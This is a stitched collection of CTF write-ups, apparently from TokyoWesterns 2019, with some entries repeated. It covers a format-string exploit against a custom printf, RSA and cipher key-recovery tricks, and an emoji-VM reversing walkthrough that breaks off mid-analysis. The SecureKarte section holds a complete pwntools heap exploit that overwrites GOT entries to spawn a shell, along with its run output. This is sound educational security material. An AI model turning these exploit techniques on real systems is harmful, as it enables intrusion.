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# CCCampCTF-DevOps-writeup
The actual writeup is in DevOps.md. The directories stage(1,2,3) contain everything I used to solve the challenge including exploits, notes, ideas i tried that didn't work, tools, ...
Cool challenge and I hope this writeup helps you understand it ;) |
Each char is being encrypted separately and saved in the output. Since we have the public key, simply build a dictionnary for all printables chars and print the flag like such:
```d = {}for i in string.printable: d[pow(ord(i),e,n)] = i print ''.join([d[int(i)] for i in open('output').split('\n')])``` |
# CCCampCTF-DevOps-writeup
The actual writeup is in DevOps.md. The directories stage(1,2,3) contain everything I used to solve the challenge including exploits, notes, ideas i tried that didn't work, tools, ...
Cool challenge and I hope this writeup helps you understand it ;) |
For this challenge, we are given a binary, libc, and linker. The first thing to do is use [patchelf](https://github.com/NixOS/patchelf) so that the binary will be loaded with the correct linker/libc combination. Once this is done, I checked the security levels for the program with checksec. ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` Okay, so all protections are turned on. Let's see what the program does. This is the output by inputing "a\n" for the first prompt and "hello\n" for the second: ``` ./printf What's your name? Hi,aDo you leave a comment? hello ``` Giving a quick look over the binary in IDA, it is clear that the challenge is running printf on an uncontrolled user string twice. The twist here is that the printf is a custom implementation with ```%n``` disabled. Generating a leak is pretty easy by using the ```%lx``` format specifier. For example: ``` What's your name?%lx %lx %lx %lxHi,0 7ffff7fc8580 7ffff7eee024 4```
As you can see, we leaked some information from the stack. We are limited to 0x100 input bytes for the first format string, so by putting in a bunch of ```%lx``` tokens, we can leak the base address of the stack, libc, binary, and canary quite easily.
Okay, with the data leaked we now need to figure out how to write. I spent a long time reversing the printf function and found two interesting things. First, the printf implementation will build the string that it eventually calls ```puts``` on in a different location than your originally provided string. Second, by placing a number after the percent format specifier (```%1000lx``` for example) we are able to adjust the stack pointer by about 1000 bytes. There is a check in the program to ensure the number we provide after the ```%``` is not negative. Thus, we cannot write up the stack and target a return pointer.
I spent a lot of time experimenting with this by trying to use multiple ```%x``` specifiers to see if I could cause a negative number to be added to the stack pointer. Unfortunatley, this didn't work. However, I realized I was missing something. What is located past the end of the stack in the memory layout? Libc of course! So, by adjusting the number we put after the ```%``` specifier, we can obtain arbitrary write in libc.
When ```libc_start_main``` returns, it will call the ```exit()``` function. This is important, because a bunch of function pointers are called before the process actually exits. You can check out where this is done in the source code here: [https://code.woboq.org/userspace/glibc/stdlib/exit.c.html](https://code.woboq.org/userspace/glibc/stdlib/exit.c.html). All we need to do now is overwrite one of these function pointers and we will have control of ```rip```!
Before I did this, I checked to see if there were any useful one\_gadgets in the libc we were given. Using the awesome tool [one\_gadget](https://github.com/david942j/one_gadget), I was able to easily find 4!
```one_gadget libc.so.60xe237f execve("/bin/sh", rcx, [rbp-0x70])constraints: [rcx] == NULL || rcx == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL
0xe2386 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```
When I first attacked a function pointer in libc, I made sure to replace it with junk (such as 'CCCCCCCC') so that I could inspect the segfault easily and see the state of the registers at the time of the crash. ```Program received signal SIGSEGV, Segmentation fault.0x00007ffff7e28398 in ?? () from target:/home/a/Desktop/tokyo/libc.so.6LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────[ REGISTERS ]─────────────────────── RAX 0x0 RBX 0x7ffff7fc76c8 ◂— 0x4343434343434343 ('CCCCCCCC') RCX 0x0 RDX 0x0 RDI 0x555555559010 ◂— 0x0 RSI 0x1 R8 0x555555559008 ◂— 0x555555559008 R9 0x7ffff7fcd540 ◂— 0x7ffff7fcd540 R10 0x7fffffffe2b4 ◂— 0x1 R11 0x2 R12 0x7ffff7fc76d0 —▸ 0x7ffff7ec3383 (execvpe+979) ◂— mov rsi, rcx R13 0x1 R14 0x7ffff7fcb108 ◂— 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffe3f0 ◂— 0x20786c2520786c25 ('%lx %lx ') RIP 0x7ffff7e28398 ◂— call qword ptr [rbx]────────────────────────[ DISASM ]───────────────────────── ► 0x7ffff7e28398 call qword ptr [rbx]
0x7ffff7e2839a add rbx, 8 0x7ffff7e2839e cmp rbx, r12 0x7ffff7e283a1 jne 0x7ffff7e28398 ↓ ► 0x7ffff7e28398 call qword ptr [rbx]
0x7ffff7e2839a add rbx, 8 0x7ffff7e2839e cmp rbx, r12 0x7ffff7e283a1 jne 0x7ffff7e28398 ↓ ► 0x7ffff7e28398 call qword ptr [rbx]
0x7ffff7e2839a add rbx, 8 0x7ffff7e2839e cmp rbx, r12─────────────────────────[ STACK ]─────────────────────────00:0000│ rsp 0x7fffffffe3f0 ◂— 0x20786c2520786c25 ('%lx %lx ')01:0008│ 0x7fffffffe3f8 ◂— 0x120786c2502:0010│ 0x7fffffffe400 ◂— '%lx %lx '03:0018│ 0x7fffffffe408 ◂— 0x004:0020│ 0x7fffffffe410 —▸ 0x555555556a40 ◂— push r1505:0028│ 0x7fffffffe418 —▸ 0x5555555550d0 ◂— xor ebp, ebp06:0030│ 0x7fffffffe420 —▸ 0x7fffffffe520 ◂— 0x107:0038│ 0x7fffffffe428 ◂— 0x0───────────────────────[ BACKTRACE ]─────────────────────── ► f 0 7ffff7e28398 f 1 7ffff7e283da f 2 7ffff7e07b72 __libc_start_main+242Program received signal SIGSEGV (fault address 0x0)```
Luckily, both RCX and RDX are NULL at the time of the crash! All we have to do is write the one\_gadget located at offset 0xe2383 to the location of the function pointer (0x7ffff7fc76c8) in libc and we will get a shell!
That's it! From here, you just run the script and get a flag! TWCTF{Pudding_Pudding_Pudding_purintoehu} |
TLDR
- Figure out this is LCS35 Time Capsule Crypto-Puzzle.
- Try to factor n. Succeed.
- Apply Euler’s theorem and solve the puzzle to get the flag.
Read complete writeup: [https://sectt.github.io/writeups/CryptoCTF19/crypto_timecapsule/README](https://sectt.github.io/writeups/CryptoCTF19/crypto_timecapsule/README) |
tl;dr:1. Notice each character is encrypted separately2. There is no random padding added so the same character always gets encrypted the same way3. Create a lookup table for encryption all 256 bytes and use it to decrypt the flag
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-02-tokyowesterns/baby_rsa |
For this challenge, we are given a binary, libc, and linker. The first thing to do is use [patchelf](https://github.com/NixOS/patchelf) so that the binary will be loaded with the correct linker/libc combination. Once this is done, I checked the security levels for the program with checksec. ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` Okay, so all protections are turned on. Let's see what the program does. This is the output by inputing "a\n" for the first prompt and "hello\n" for the second: ``` ./printf What's your name? Hi,aDo you leave a comment? hello ``` Giving a quick look over the binary in IDA, it is clear that the challenge is running printf on an uncontrolled user string twice. The twist here is that the printf is a custom implementation with ```%n``` disabled. Generating a leak is pretty easy by using the ```%lx``` format specifier. For example: ``` What's your name?%lx %lx %lx %lxHi,0 7ffff7fc8580 7ffff7eee024 4```
As you can see, we leaked some information from the stack. We are limited to 0x100 input bytes for the first format string, so by putting in a bunch of ```%lx``` tokens, we can leak the base address of the stack, libc, binary, and canary quite easily.
Okay, with the data leaked we now need to figure out how to write. I spent a long time reversing the printf function and found two interesting things. First, the printf implementation will build the string that it eventually calls ```puts``` on in a different location than your originally provided string. Second, by placing a number after the percent format specifier (```%1000lx``` for example) we are able to adjust the stack pointer by about 1000 bytes. There is a check in the program to ensure the number we provide after the ```%``` is not negative. Thus, we cannot write up the stack and target a return pointer.
I spent a lot of time experimenting with this by trying to use multiple ```%x``` specifiers to see if I could cause a negative number to be added to the stack pointer. Unfortunatley, this didn't work. However, I realized I was missing something. What is located past the end of the stack in the memory layout? Libc of course! So, by adjusting the number we put after the ```%``` specifier, we can obtain arbitrary write in libc.
When ```libc_start_main``` returns, it will call the ```exit()``` function. This is important, because a bunch of function pointers are called before the process actually exits. You can check out where this is done in the source code here: [https://code.woboq.org/userspace/glibc/stdlib/exit.c.html](https://code.woboq.org/userspace/glibc/stdlib/exit.c.html). All we need to do now is overwrite one of these function pointers and we will have control of ```rip```!
Before I did this, I checked to see if there were any useful one\_gadgets in the libc we were given. Using the awesome tool [one\_gadget](https://github.com/david942j/one_gadget), I was able to easily find 4!
```one_gadget libc.so.60xe237f execve("/bin/sh", rcx, [rbp-0x70])constraints: [rcx] == NULL || rcx == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL
0xe2386 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```
When I first attacked a function pointer in libc, I made sure to replace it with junk (such as 'CCCCCCCC') so that I could inspect the segfault easily and see the state of the registers at the time of the crash. ```Program received signal SIGSEGV, Segmentation fault.0x00007ffff7e28398 in ?? () from target:/home/a/Desktop/tokyo/libc.so.6LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────[ REGISTERS ]─────────────────────── RAX 0x0 RBX 0x7ffff7fc76c8 ◂— 0x4343434343434343 ('CCCCCCCC') RCX 0x0 RDX 0x0 RDI 0x555555559010 ◂— 0x0 RSI 0x1 R8 0x555555559008 ◂— 0x555555559008 R9 0x7ffff7fcd540 ◂— 0x7ffff7fcd540 R10 0x7fffffffe2b4 ◂— 0x1 R11 0x2 R12 0x7ffff7fc76d0 —▸ 0x7ffff7ec3383 (execvpe+979) ◂— mov rsi, rcx R13 0x1 R14 0x7ffff7fcb108 ◂— 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffe3f0 ◂— 0x20786c2520786c25 ('%lx %lx ') RIP 0x7ffff7e28398 ◂— call qword ptr [rbx]────────────────────────[ DISASM ]───────────────────────── ► 0x7ffff7e28398 call qword ptr [rbx]
0x7ffff7e2839a add rbx, 8 0x7ffff7e2839e cmp rbx, r12 0x7ffff7e283a1 jne 0x7ffff7e28398 ↓ ► 0x7ffff7e28398 call qword ptr [rbx]
0x7ffff7e2839a add rbx, 8 0x7ffff7e2839e cmp rbx, r12 0x7ffff7e283a1 jne 0x7ffff7e28398 ↓ ► 0x7ffff7e28398 call qword ptr [rbx]
0x7ffff7e2839a add rbx, 8 0x7ffff7e2839e cmp rbx, r12─────────────────────────[ STACK ]─────────────────────────00:0000│ rsp 0x7fffffffe3f0 ◂— 0x20786c2520786c25 ('%lx %lx ')01:0008│ 0x7fffffffe3f8 ◂— 0x120786c2502:0010│ 0x7fffffffe400 ◂— '%lx %lx '03:0018│ 0x7fffffffe408 ◂— 0x004:0020│ 0x7fffffffe410 —▸ 0x555555556a40 ◂— push r1505:0028│ 0x7fffffffe418 —▸ 0x5555555550d0 ◂— xor ebp, ebp06:0030│ 0x7fffffffe420 —▸ 0x7fffffffe520 ◂— 0x107:0038│ 0x7fffffffe428 ◂— 0x0───────────────────────[ BACKTRACE ]─────────────────────── ► f 0 7ffff7e28398 f 1 7ffff7e283da f 2 7ffff7e07b72 __libc_start_main+242Program received signal SIGSEGV (fault address 0x0)```
Luckily, both RCX and RDX are NULL at the time of the crash! All we have to do is write the one\_gadget located at offset 0xe2383 to the location of the function pointer (0x7ffff7fc76c8) in libc and we will get a shell!
That's it! From here, you just run the script and get a flag! TWCTF{Pudding_Pudding_Pudding_purintoehu} |
tl;dr:
1. Notice the binary does only sort+xor2. Recover keystream by encrypting black image3. Recover sorting order by sending diagonal line
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-02-tokyowesterns/meow |
# SecureKarteby mito
## 32 solves, 255 pts
* There is a vulnerability that can modify the fd of a free chunk in the Modify function (executable only once).* It seems to be able to exploit with fastbins unlink attack, but there is no value that can be used with p->size=0x7f that can change the list and lock part.* After spending a while, I remembered that if I specified a large size with malloc(), it would be allocated after the libc page. I can write 0x7f in list.* The Modify function can be used multiple times by rewriting the lock value to 0xdeadc0bebeef.* Since the Modify function can be used, the free() function was rewritten to the printf() function plt by GOT overwrite.* The libc leak used printf's FSB.* Finally, I rewritten the address of the atoi() function to the address of the system() function with GOT overwrite and started the shell.* When ASLR is enabled, the heap address size differs 3 bytes and 4 bytes, so the shell can be started with a probability of 2/3.
The list+21 address is written to fastbins```pwndbg> binstcachebins0x70 [ 7]: 0x603500 —▸ 0x603490 —▸ 0x603420 —▸ 0x6033b0 —▸ 0x603340 ◂— ...fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x602155 (list+21) ◂— 0x6035e0000081 0x80: 0x0 unsortedbin```
State where 0x7fxxxxxxxxxx is written in the list part```0x602110 <reserved+112>: 0x0000000000000000 0x00000000000000000x602120 <zfd>: 0x0000000400000003 0x00000000000000000x602130: 0x0000000000000000 0x00000000000000000x602140 <list>: 0x0000a37000000001 0x00000000006035e00x602150 <list+16>: 0x0000c15200000000 0x00007ffff7fb5010 <= write 0x7f in list!0x602160 <list+32>: 0x000081e800000000 0x00000000006035e00x602170 <lock>: 0x073d757afab77c34 0x00000000000000000x602180 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd0760 0x00000000000000000x602190 <key>: 0x0000deadc0bebeef 0x00000000000000000x6021a0 <name>: 0x5858585858585858 0x58585858585858580x6021b0 <name+16>: 0x0000000000000000 0x00000000000000000x6021c0 <name+32>: 0x0000000000000000 0x00000000000000000x6021d0 <name+48>: 0x0000000000000000 0x0000000000000000```
Below is the exploit code.```# TokyoWesterns_CTF_5th_2019 / SecureKarte exploit code# 255 points / 32 solves# local is ubuntu 18.04
from pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './karte'elf = ELF(BINARY)libc = elf.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "karte.chal.ctf.westerns.tokyo" PORT = 10001 s = remote(HOST, PORT) local = 0else: #s = process([BINARY],env={'LD_PRELOAD': './libc.27.so'}) s = process(BINARY) local = 1
def Add(size, data): s.sendlineafter("> ", "1") s.sendlineafter("Input size > ", str(size)) s.sendafter("Input description > ", data) s.recvuntil("Added id ") r = s.recvuntil("\n")[:-1] return int(r)
def Delete(id): s.sendlineafter("> ", "3") s.sendlineafter("Input id > ", str(id))
def Modify(id, data): s.sendlineafter("> ", "4") s.sendlineafter("Input id > ", str(id)) s.sendafter("Input new description > ", data)
def Rename(name): s.sendlineafter("> ", "99") s.sendlineafter("Input patient name... ", name)
def Exit(): s.sendlineafter("> ", "0")
s.sendlineafter("Input patient name... ", "X"*0x10)
# for making fastbin, tcache is filled with seven chunksfor i in range(7): id0 = Add(0x60, "A"*0x5f) Delete(id0)
id0 = Add(0x60, "B"*0x5f)
# make 0x7fxxxxxxxxxx in listid3 = Add(0x21000, "Y"*0x5f)
id2 = Add(0x60, "C"*0x5f)Delete(id0)Delete(id2)
# fastbins unlink attackif local == 1: Modify(id2, p64(0x602155)[0:3])else: Modify(id2, p64(0x602155)[0:4]) # if ASLR is enabled, probability is higher # for FSB of printfid0 = Add(0x60, "%13$p")Delete(id3)
# change lock=0xdeadc0bebeefid1 = Add(0x60, "E"*0xb+p64(0xdeadc0bebeef))
# GOT overwrite free => printfModify(id1, "\x01"*3 + p64(elf.got['free']))
# get libc address using FSB of printfModify(0x1010100+(id2&0xff), p64(elf.plt['printf'])[0:6])Delete(id0)r = s.recvuntil('\n')[2:-1]libc_leak = int(r, 16)libc_base = libc_leak - 0x21b97system_addr = libc_base + libc.symbols['system']
print "libc_leak =", hex(libc_leak)print "libc_base =", hex(libc_base)print "system_addr =", hex(system_addr)
# GOT overwrite atoi => systemModify(id1, "\x01"*3 + p64(elf.got['atoi'])[0:3])Modify(0x1010100+(id2&0xff), p64(system_addr)[0:6])
# Start /bin/shs.sendlineafter("> ", "/bin/sh\x00")
s.interactive()
'''# TokyoWesterns_CTF_5th_2019/Pwn_SecureKarte$ python exploit.py r[+] Opening connection to karte.chal.ctf.westerns.tokyo on port 10001: Donelibc_leak = 0x7fd9413b1b97libc_base = 0x7fd941390000system_addr = 0x7fd9413df440[*] Switching to interactive mode$ iduid=40028 gid=40000(karte) groups=40000(karte)$ lsflagkarte$ cat flagTWCTF{pr1n7l355_15_50_53cur3!}''' ``` |
# Simple Logic
> Simple cipher is always strong.
This challenge gives us two files:
- `encrypt.rb`, with the algorithm used to encrypt the flag;- `output`, with the encrypted flag and six plaintext/ciphertex pairs.
In the first file, we can see the flag and the key are randomly generated by `SecureRandom`. After encrypting the flag, another six random strings are encrypted using the same key. In the `output` file, we have six plaintext/ciphertext pairs that we can use to retrieve the key and decrypt the flag. The flag, key and plaintexts are 128 bits wide.
The encryption function adds the `msg` and `key` bits and removes an eventual 129th bit by `& mask`ing the sum; the result is XORed with `key`. This process is repeated 765 times, as defined by `ROUNDS`.
Addition can affect bits to the left: adding two 4-bit numbers can result in a 5-bit number, e.g.`1101 + 0110 = 10011`; by repeating this 765 times, up to 9 bits to the left can be affected. XOR, on the other hand, only affects the same bits.
Let's suppose `msg` ends with `0x807a`, `key` ends with `0xf254` and the encrypted `msg` ends with `0xd04a`. By adding and XORing multiple times, the last bytes of `msg` and `key` (`0x7a` and `0x54`) will affect the second to last byte of the result (`0xd0`), but the second to last bytes of `msg` and `key` (`0x20` and `0xe0`) won't affect the last byte of the result (`0x05`). This means we can guess the least significant bits of the key and, once we find them out, we can guess the next ones, until we've found the whole key.
Let's start with the info we have from `output`:
```rubyplain = [ 0x029abc13947b5373b86a1dc1d423807a, 0xeeb83b72d3336a80a853bf9c61d6f254, 0x7a0e5ffc7208f978b81475201fbeb3a0, 0xc464714f5cdce458f32608f8b5e2002e, 0xf944aaccf6779a65e8ba74795da3c41d, 0x552682756304d662fa18e624b09b2ac5]
enc = [ "b36b6b62a7e685bd1158744662c5d04a", "614d86b5b6653cdc8f33368c41e99254", "292a7ff7f12b4e21db00e593246be5a0", "64f930da37d494c634fa22a609342ffe", "aa3825e62d053fb0eb8e7e2621dabfe7", "f2ffdf4beb933681844c70190ecf60bf"]```
We will iterate the encryption key from `0x00` to `0xff`, store the encryption results into `new_enc` and compare the last byte of `enc` and `new_enc`. If the bytes are the same for the six entries simultaneously, we have a candidate for the last byte of the real key. Notice that we might have more than one valid byte, as the most significant bits might cancel out and produce a valid output. Because of this, we'll retrieve one character of the hex-encoded key at a time.
```ruby# We know nothing about the key yet, so for now it's an empty stringknown_key = ""# We'll start comparing two characterssize = 2# We'll save our encryption results herenew_enc = []# Compare results go herecompare = []
# Repeat for each character of the key, except the last onefor char in 1..31 # Guess one byte at a time for guess in 0x0..0xff # Add our guess to what we already have key = (guess.to_s(16) + known_key).to_i(16)
# Encrypt with the key and compare the results for i in 0..5 new_enc[i] = encrypt(plain[i], key).to_s(16) len1 = new_enc[i].length len2 = enc[i].length compare[i] = (new_enc[i][len1 - size, len1] == enc[i][len2 - size, len2]) end
# If they're all equal, we have a candidate if compare[0] && compare[1] && compare[2] && compare[3] && compare[4] && compare[5] then # Show the key so far puts key.to_s(16) # Get the new candidate new_char = key.to_s(16)[1] end end # Increase comparison size size = size + 1 # Append the new character to what we already have known_key = new_char + known_keyend```
This code will produce the following output:
```989509d095509d5093d509bd50973d509f3d509773d509f73d5097773d509f773d50967773d509e7773d5093e7773d509be7773d50953e7773d509d3e7773d509153e7773d509953e7773d5092153e7773d509a153e7773d5093a153e7773d509ba153e7773d5091ba153e7773d5099ba153e7773d50929ba153e7773d509a9ba153e7773d5097a9ba153e7773d509fa9ba153e7773d50957a9ba153e7773d509d7a9ba153e7773d509157a9ba153e7773d509957a9ba153e7773d5094957a9ba153e7773d509c957a9ba153e7773d50914957a9ba153e7773d50994957a9ba153e7773d509494957a9ba153e7773d509c94957a9ba153e7773d5094494957a9ba153e7773d509c494957a9ba153e7773d5095c494957a9ba153e7773d509dc494957a9ba153e7773d5093dc494957a9ba153e7773d509bdc494957a9ba153e7773d5096bdc494957a9ba153e7773d509ebdc494957a9ba153e7773d5092ebdc494957a9ba153e7773d509aebdc494957a9ba153e7773d5091aebdc494957a9ba153e7773d5099aebdc494957a9ba153e7773d50921aebdc494957a9ba153e7773d509a1aebdc494957a9ba153e7773d509521aebdc494957a9ba153e7773d509d21aebdc494957a9ba153e7773d5097521aebdc494957a9ba153e7773d509f521aebdc494957a9ba153e7773d5092f521aebdc494957a9ba153e7773d509af521aebdc494957a9ba153e7773d509```
Notice that for each iteration we have a pair of key parts that differ only by the most significant bit. We only find out which one is right when we compare against more bits. In the end, we have two candidates for our key: `2f521aebdc494957a9ba153e7773d509` and `af521aebdc494957a9ba153e7773d509`. Now it's easy to see which one is correct.
```ruby#encrypted flagenc = 0x43713622de24d04b9c05395bb753d437
candidate1 = 0x2f521aebdc494957a9ba153e7773d509candidate2 = 0xaf521aebdc494957a9ba153e7773d509
puts decrypt(enc, candidate1).to_s(16)puts decrypt(enc, candidate2).to_s(16)```
Turns out both keys produce the same result, `ade4850ad48b8d21fa7dae86b842466d`, as the most significant bit is cancelled out.
Flag: `TWCTF{ade4850ad48b8d21fa7dae86b842466d}` |
tl;dr1. Recover the encryption logic2. Write the encryption in form of matrix multiplication3. Solve some matrix equations
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-02-tokyowesterns/mpolycipher |
(fully reversed algorithm)
FriendSpaceBookPlusAllAccessRedPremium (**reversing**)
Having snooped around like the expert spy you were never trained to be, you found something that takes your interest: "Cookie/www.FriendSpaceBookPlusAllAccessRedPremium.com" But unbeknownst to you, it was only the 700nm Wavelength herring rather than a delicious cookie that you could have found. It looks exactly like a credential for another system. You find yourself in search of a friendly book to read.
Having already spent some time trying to find a way to gain more intelligence... and learn about those fluffy creatures, you (several)-momentarily divert your attention here. It's a place of all the individuals in the world sharing large amounts of data with one another. Strangely enough, all of the inhabitants seem to speak using this weird pictorial language. And there is hot disagreement over what the meaning of an eggplant is.
But not much Cauliflower here. They must be very private creatures. SarahH has left open some proprietary tools, surely running this will take you to them. Decipher this language and move forth!
Unzip attachment, see virtual machine interpretator `vm.py` and some strange code in `program`. Quite obvious, `program` has code for execution by virtual machine, let's try it:
$ python3 vm.py program Running .... http://emoji-t^CTraceback (most recent call last): File "vm.py", line 180, in <module> vm.step() File "vm.py", line 25, in step fn(self) File "vm.py", line 65, in jump_to self.instruction_pointer = self.rom.index(marker) + 1 KeyboardInterrupt
Ok, it is trying to output some URL, but doing it progressively slow.We need to understand internal logic of both virtual machine and the program, then somehow guess what output should it have or speed-up it's execution.
Comment in the `vm.py` directly says that it's simple stack-based machine, and the list `VM.OPERATIONS` looks quite self-explaining, i.e.:
- this is stack-machine for sure, very similar to Forth, for example binary operators like `add`, `xor` etc. take top 2 elements of the stack and put the result on their place (on top) - there are two accumulators, that act like registers for temporary storage of integer values - there is block of memory called `rom` which contains program instructions, which are can be either operations with their operands, or static data (integer numbers), or labels (symbols).
Additionaly we can realize the following facts:
- `if marker[0] != '?':` - this marker is prefix of references to some labels, i.e. positions in source code (address in `rom`) - `marker = '?' + marker[1:]` - this marker is prefix of labels itself - `while self.rom[self.instruction_pointer] != '?':` - this is sort of `endif` statement: VM executes code after `if_zero` and `if_not_zero` until see this instruction or some `jump` instruction - `if self.rom[self.instruction_pointer] == '?':` - it is designation of accumulator 1 - `elif self.rom[self.instruction_pointer] == '?':` - it is designation of accumulator 2 - `while self.rom[self.instruction_pointer] != '✋':` - it is some sort of *end-of-number* symbols, characters before it are interpreted as 10-based digits of a number, and it is used mainly in `load` instruction, which obviously loads some constant to one of two accumulators - and each digit in each "numbers" is actually a unicode-sequence which starts from ascii-code of this digit.
First of all, we should try to guess the algorithm by looking on the execution process. We can modify VM, for example, by adding to it printing the stack, accumulators and instruction pointer to stdoutbefore printing of each character:
def print_top(self): print((self.accumulator1, self.accumulator2, self.instruction_pointer, self.stack)) ....... And the output is:
(2, 389, 391, [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 1, 104]) h(3, 389, 391, [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 2, 116]) t(5, 389, 391, [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 3, 116]) t(7, 389, 391, [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 4, 112]) p(11, 389, 391, [0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 5, 58]) .......
The second-to-last value on the stack is obvious iterator, most of the stack filled by constant numbers from program code, and it seems like all what program is doing is some "decoding" of this data character-by-character, one number for one character. And if it quickly slows down to less than 1 character per minute, what could it become in the end, where we can see numbers like 101141058?
At the moment `program` and partly `vm.py` are completely unreadable. We want to have text code (not byte-code and not emoji-code). Simple python script `convert.py` will do conversion for us:
import vm import re to_replace = [(op, method.__name__) for (op, method) in vm.VM.OPERATIONS.items()] + [ ('?', 'R'), ('?', 'L'), ('?', 'endif'), ('?', 'acc1'), ('?', 'acc2'), ('✋', 'EoN') ] with open('vm.py', 'r') as f: contents = f.read() for op, method in to_replace: contents = re.sub(op, method, contents) with open('new.vm.py', 'w') as f: f.write(contents) to_replace += [(str(d) + r'\S+', str(d)) for d in range(10)] with open('program', 'r') as f: contents = f.read() for op, method in to_replace: contents = re.sub(op, method, contents) references = re.findall(r'R\S+', contents) for counter, ref in enumerate(references, 1): contents = contents.replace(ref, 'R_{}'.format(counter)) contents = contents.replace('L'+ref[1:], 'L_{}'.format(counter)) with open('new.program', 'w') as f: f.write(contents)
Now `program` looks much better, especially after some formatting:
load acc1 0 EoN push acc1 load acc1 1 7 4 8 8 EoN push acc1 ............... load acc2 1 EoN
L_2 pop acc1 push acc2 push acc1 load acc1 3 8 9 EoN push acc1 push acc2 jump_to R_1 xor print_top load acc1 1 EoN push acc1 add pop acc2 if_not_zero jump_to R_2 endif
load acc1 9 8 4 2 6 EoN push acc1 ................. load acc2 9 9 EoN
L_4 pop acc1 push acc2 push acc1 load acc1 5 6 8 EoN push acc1 push acc2 jump_to R_1 xor print_top load acc1 1 EoN push acc1 add pop acc2 if_not_zero jump_to R_4 endif
load acc1 1 0 1 1 4 1 0 5 8 EoN push acc1 ................... load acc2 7 6 5 EoN
L_6 pop acc1 push acc2 push acc1 load acc1 1 0 2 3 EoN push acc1 push acc2 jump_to R_1 xor print_top load acc1 1 EoN push acc1 add pop acc2 if_not_zero jump_to R_6 endif exit
L_1 load acc1 2 EoN push acc1 L_11 jump_to R_7 L_15 if_zero pop_out jump_to R_8 endif pop_out pop acc1 load acc2 1 EoN push acc2 sub if_zero pop_out pop acc2 push acc1 push acc2 jump_top endif push acc1 L_8 load acc2 1 EoN push acc2 add jump_to R_11
L_7 clone load acc1 2 EoN push acc1 L_14 sub if_zero pop_out load acc1 1 EoN push acc1 jump_to R_12 endif pop_out clone push acc1 modulo if_zero jump_to R_12 endif pop_out clone push acc1 load acc1 1 EoN push acc1 add clone pop acc1 jump_to R_14
L_9 clone clone load acc2 0 EoN push acc2 L_17 load acc1 1 0 EoN push acc1 multiply pop acc2 push acc1 modulo push acc2 add pop acc2 pop acc1 clone push acc2 sub if_zero pop_out load acc2 1 EoN push acc2 jump_to R_15 endif pop_out push acc1 load acc1 1 0 EoN push acc1 divide if_zero jump_to R_15 endif clone push acc2 jump_to R_17
Oh, that is something: L_2, L_4 and L_6 are quite identical fragments, which most certainly decodes their own blocks of numbers, and they use `acc2` maybe as a parameter so the structure of `program` probably something like that:
data1 = {...} L_2: decode_and_print(data1, 1) data2 = {...} L_4: decode_and_print(data2, 99) data3 = {...} L_6: decode_and_print(data3, 765) exit() foo() bar() ....
Let's try to decompile hypothethical `decode_and_print()` function:
load acc2 1 EoN L_2 ; decode_and_print(data, acc2) - data is on the stack pop acc1 ; from this point it is clear that acc1 can't be suggested as parameter of decode_and_print() - it's value is overwritten immidiately push acc2 ; push acc1 ; basically these two operations places the second parameter of function (acc2) to the ; second-to-top position of the stack, i.e. stack becomes: ; [ ... data[2], data[1], acc2, data[0] ] load acc1 3 8 9 EoN ; the 'address' of instruction to which called function should jump (return) after finish push acc1 ; push return-address push acc2 ; now stack becomes [ ... data[2], data[1], acc2, data[0], <ra>, acc2 ] jump_to R_1 ; call foo() -> stack is modified somehow xor ; print_top ; print (stack[0] ^ stack[1]), and those two elements are poped out to nowhere load acc1 1 EoN ; acc1 := 1 push acc1 ; add ; top element of the stack is incremented pop acc2 ; and placed to acc2 if_not_zero jump_to R_2 ; repeat all above until zero value will be on the stack endif
